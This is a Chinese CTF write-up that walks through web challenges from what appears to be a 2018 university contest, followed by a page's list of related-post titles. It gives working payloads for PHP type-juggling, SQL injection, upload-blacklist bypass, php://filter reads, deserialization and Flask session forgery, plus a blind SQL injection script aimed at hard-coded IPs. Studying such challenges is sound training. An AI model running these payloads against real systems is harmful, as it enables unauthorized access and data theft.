Drops攻防训练营欢迎你的加入

打开页面查看响应头有一个 tips:4he9e.txt 然后访问这个页面

<?php
$flag = "***";
if (isset($_GET['repo'])) {  if (strcmp($_GET['repo'], $flag) == 0) die('Flag: '.$flag);  else  print 'No';
}

题目要求让repo与flag字符串相等就输出flag
strcmp()函数也只能处理字符串参数,传个数组进去就能返回false,又由于它与0的比较用的是== 而不是 ===(允许类型转换后比较),就满足了这个 if 的条件。Payload:?repo[]=a

惊鸿一笔,上官婉儿

这道题想了好久,union,and,=,extractvalue,被过滤
试了报错,不行,发现是数字型的SQL注入,尝试exp报错也不行,发现试各种报错都原样输出报错,于是尝试时间盲注

http://39.108.109.85:9001/?id=1 or sleep(10)

成功执行
这里要学一个函数 linestring
linestring是Mysql自带的空间索引函数用来索引列名,还有一个函数也有这个效果polygon 这个语句进行报错
在mysql的security数据库users表

select * from users where id=1 and linestring(id);

ERROR 1367 (22007): Illegal non geometric ‘security.users.id’ value found during parsing
payload如下:

?id=1 or exp(~id)
?id=1 or linestring(id)
?id=1 or polygon(id)

快一点

You need get a ‘t’
于是构造一个?t=1
得到代码

<?phpinclude 'flag.php';
if(isset($_GET['t'])){$_COOKIE['bash_token'] = $_GET['t'];
}else{die("You need get a 't'");
}
if(isset($_POST['sleep'])){if(!is_numeric($_POST['sleep'])){              echo 'Gime me a number plz.';}else if($_POST['sleep'] < 60 * 60 * 24 * 30 * 2){   echo 'NoNoNo sleep too short.';}else if($_POST['sleep'] > 60 * 60 * 24 * 30 * 3){echo 'NoNoNo sleep too long.';}else{sleep((int)$_POST['sleep']);  getFlag();}
}else{highlight_file(__FILE__);
}
?>

题目要求sleep是个数字,并在2592000和7776000之间,然后sleep这么长时间,给出flag。
这题主要考察is_numeric()和int()的区别。前者支持普通数字型、科学记数法型、部分支持十六进制0x型,在is_numeric()支持的形式中,int()不能正确转换十六进制型、科学计数法型。
因此可以构造

sleep = 6e6、0x4F1A01

文件上传

上传.php,弹出
alert(‘不允许的文件!’);history.go(-1)
改为.jpg
alert(‘上传成功!’);history.go(-1)
用于这道题没有回显上传路径
这道题应该是黑名单绕过
经过测试
.pht 可以绕过 ,注意还要改content-type:image/jpeg

admin

打开访问
you are not admin !
查看源码, 发现

<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];if(isset($user)&&(file_get_contents($user,'r')==="admin")){echo "hello admin!<br>";include($file); //class.php
}else{echo "you are not admin ! ";
}

传三个参数user、file、pass使其能通过
注意

if(isset($user)&&(file_get_contents($user,'r')==="admin"))

利用php的封装协议php://input
include($file);//class.php
读取class.php文件和index.php文件

?user=php://input&file=php://filter/convert.base64-encode/resource=index.php
?user=php://input&file=php://filter/convert.base64-encode/resource=index.php
<?php
error_reporting(0);class Read{//flag.phppublic $file;public function __toString(){if(isset($this->file)){echo file_get_contents($this->file);    }return "__toString was called!";}
}
?>

<?php
error_reporting(0);
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];if(isset($user)&&(file_get_contents($user,'r')==="admin")){echo "hello admin!<br>";if(preg_match("/flag/",$file)){exit();}else{include($file); //class.php$pass = unserialize($pass);echo $pass;}
}else{echo "you are not admin ! ";
}?><!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];if(isset($user)&&(file_get_contents($user,'r')==="admin")){echo "hello admin!<br>";include($file); //class.php
}else{echo "you are not admin ! ";
}-->

源码来看这是一道反序列化题
构造序列化字符串然后传进去读取flag,因为他过滤了flag不能直接读取
?user=php://input&file=class.php&pass=O:4:“Read”:1:{s:4:“file”;s:57:“php://filter/read=convert.base64-encode/resource=flag.php”;}

post: admin

留言板

考点:

信息泄露

flask-session伪造

delete盲注

环境:

python3环境

flask 1.0.2框架

sqlite3数据库
查看源码
注意到这个图片地址
https://raw.githubusercontent.com/alipql/tuku/master/8856eac7gy1fkmf2o66yyj205k05kq2z.jpg

应该是某个人的github地址
https://github.com/alipql
可以发现alipql这个人的github仓库: https://github.com/alipql 在homework这个库里面的homework2中可以找到一个非空的config.py配置文件

#!/usr/bin/env python3
# coding=utf-8
import osclass Config():BaseDir = os.path.abspath(os.path.dirname(__file__))DB_FILE = os.path.join(BaseDir, 'dbfile.sql')SQLALCHEMY_DATABASE_URI = 'sqlite:///' + DB_FILESQLALCHEMY_TRACK_MODIFICATIONS = TrueSQLALCHEMY_COMMIT_ON_TEARDOWN = TrueSECRET_KEY = 'dropseckey123'config = {'default': Config
}

从config.py配置文件中可得到secert_key、sql数据库类型
拿到secert_key后,利用它进行flask的session伪造
工具地址:
https://github.com/style-404/flask-session-cookie-manager
题目中预制的有两个用户,test/test,user/user,可通过登录用户时返回的session验证SECRETKEY是否正确
可以利用,然后去伪造admin的session
替换掉session,即可成功登录到admin账户获取管理权限。

tip: 存在一个flag表和flag字段
于是进行delete布尔盲注

对添加用户功能和删除用户功能稍微一测试,会发现删除用户功能是存在注入的,是delete的注入。从config.py的信息泄露中可以知道数据库为sqlite,导致很多函数不能用;由于又是个delete方式,导致很多姿势用不上。

在这里轻微fuzz一下可发现只过滤了drop、update、delete等部分删表删flag改flag的关键字,而and、substr、selete、from、空格等未过滤,参数为单引号包裹,所以可组合一个payload:

' and substr((select flag from flag),1,1)=='f

先增加用户,在删除用户时提交payload再进行布尔判断即可盲注flag。 例如增加111用户后再删除用户111

usernamedel=111' and substr((select flag from flag ),1,1)=='f
成功删除用户,返回包不存在111,说明flag第一个字母为f。若改为
usernamedel=111' and substr((select flag from flag),1,1)=='0

显示成功删除却依然存在111用户,没删除用户,说明第一位不为0,然后接下来写脚本去跑就行了

#!/usr/bin/env python3# coding=utf-8import requests
class sqliexp:def __init__(self):self.url = 'http://172.93.39.218:8888/admin'self.session = 'eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIlx1NzY3Ylx1NWY1NVx1NjIxMFx1NTI5ZiJdfV0sIm5hbWUiOiJhZG1pbiJ9.XB-iXg.PURonzshjlDsEvsXYZ24YyuAgI4'self.flag = ''#增加111用户def adduser(self):cookies = {'session':self.session}data = {'username':'111','password':'111'}try:requests.post(url=self.url, cookies=cookies,data=data)except TimeoutError:exit(-1)def deluser(self,num):cookies = {'session':self.session}for strs in 'flag{}0123456789bcde':payload = "111' and substr((select flag from flag),%d,1)=='%s" % (num,strs)data = {'usernamedel':payload}try:response = requests.post(url=self.url,data=data,cookies=cookies)if '111' not in response.text:self.flag += strsreturn 1except TimeoutError:exit(-1)
if __name__ == '__main__':exp = sqliexp()for num in range(1,39,1):exp.adduser()exp.deluser(num)print(exp.flag)

misc

中原工学院图书馆

看WP说这道题特别简单,用binwalk得到一个压缩包,发现一张图片。flag正确格式是drops{},对图片中的密文进行rot13解密就拿到flag了

2018中原工学院网络安全校赛相关推荐

  1. 【比赛报告】2018.10.11校赛[8-2情人节欢乐赛] NOIP练习赛卷十二

    比赛时间:2018.10.10 选手:lrllrl 成绩 100+100+100=300 用时:约1h T1 果实计数 显然易得,答案为 b n m o d    k b^n\mod k bnmodk ...

  2. 【比赛报告】2018.10.15校赛[2015-9-13 NOIP模拟赛 by hzwer] NOIP练习赛卷十四

    比赛时间:2018.10.15 选手:lrllrl 用时:2h 得分:100+10+90=200 最初想法是一个背包问题.首先背包问题的模型肯定是不行的,但是我们可以列出状态转移方程后发现,每个状态决 ...

  3. 【题解】poj1639[2018.8.24校赛 最小生成树 A]Picnic Planning 最小度限制生成树

    题目链接 Description The Contortion Brothers are a famous set of circus clowns, known worldwide for thei ...

  4. 2018 java蓝桥杯校赛题目

    1.[问题描述] 100 可以表示为带分数的形式:100 = 3 + 69258 / 714 还可以表示为:100 = 82 + 3546 / 197 注意特征:带分数中,数字1~9分别出现且只出现一 ...

  5. 2018年东北农业大学春季校赛 E-wyh的阶乘

    2018年东北农业大学春季校赛 E-wyh的阶乘 链接:https://www.nowcoder.com/acm/contest/93/E 来源:牛客网 题目描述 这个问题很简单,就是问你n的阶乘末尾 ...

  6. 2018年东北农业大学春季校赛 A-wyh的曲线

    2018年东北农业大学春季校赛 A-wyh的曲线 链接:https://www.nowcoder.com/acm/contest/93/A 来源:牛客网 题目描述 给你三组数列,分别为 现在给你一个式 ...

  7. 2018六校联合校赛-1st-买手机

    题目描述: 阿Jun是个小屏手机爱好者,他拒绝一切带有plus和note字眼的手机,而他一直使用的是一部美国苹果公司出品的iPhoneSE. 可惜的是,有一次阿Jun在洗手间洗手,不小心手一抖,手机掉 ...

  8. “师创杯”山东理工大学第九届ACM程序设计竞赛 正式赛 F.校赛~校赛~【思维+规律题】

    校赛~校赛~ Time Limit: 1000MS  Memory Limit: 65536KB Submit  Statistic Problem Description SDUT 的校赛是从 20 ...

  9. 2018.10.9模拟赛

    2018.10.9模拟赛 T1 trade 正解:贪心 据说lyd讲过但并没有印象QAQ,考场上现推浪费了不少时间 其实就开个小根堆,每次把堆顶取出来看它是不是比当前的 a[i]a[i]a[i] 小, ...

  10. 2018年网络安全大事记

    2018年网络安全大事记 一.信息泄露与网络攻击篇 1. 信息泄露连续五年创历史记录 自2013年斯诺登事件以来,全球信息泄露规模连年加剧.尽管目前还没有信息泄露统计的确切数字,但2018年的数据泄露 ...

最新文章

  1. 机器学习中的聚类算法(2):Mean Shift算法
  2. 作为程序员应有10项权利
  3. qmake 简易教程
  4. 澳大利亚研究者研制出一种计算机芯片 他们,快讯:几乎看不见的3D打印机器人;西澳大利亚大学的研究人员开发出一种保护生态机器鱼;效率达CPU一万倍的神经形态芯片发布!...
  5. 四则运算 - java实现(叶尚文, 张鸿)
  6. BZOJ 3669: [Noi2014]魔法森林( LCT )
  7. 2017.4.5下午
  8. Swift - 14 - 字符串的基础操作
  9. 二维凸包 Graham's Scan
  10. 中科院副研究员高林:面向可视媒体分析与合成的深度几何学习方法分享
  11. oracle分组关联统计,没有记录则显示0
  12. ubuntu 16.0安装mysql8_ubuntu16.0.4 安装 mysql8.0.18的
  13. 科大讯飞 离线语音识别python_用Python来使用科大讯飞语音识别,so easy
  14. 74.android 简单的跳转到小米安全中心首页和小米安全中心的权限管理
  15. Modebus - usb转RS485(芯片)串口驱动
  16. RINEX观测值文件读取(O文件)
  17. 计算机及应用课程实验,广东北达经贸专修学院主考专业助学班计算机及应用课程实验(二)(实践考核)课程含数据结构、数据库系统原...
  18. SUN ZFS STORAGE 7320阵列管理
  19. C++面向对象(1):防卫式声明
  20. 水山蹇:自救者天救;雷水解:拯焚救溺

热门文章

  1. 成为技术主管需要做到的三点
  2. k开头的英文单词计算机专业,以K开头的英语单词
  3. led显示屏属于计算机类吗,计算机显示IPS和LED屏幕的优缺点是什么?
  4. 小米Pad进入开发者模式
  5. 什么是spurious wakeups(虚假唤醒)
  6. 【数学与统计基础】常用统计检验方法的Python实现
  7. 中国外显子组测序行业市场供需与战略研究报告
  8. android版本11下载,coloros 11正式版下载
  9. 易基因-【直播预告】国自然热门选题 - 博士后带你了解m6A RNA甲基化
  10. Telink Mesh 开发(1)调试log打印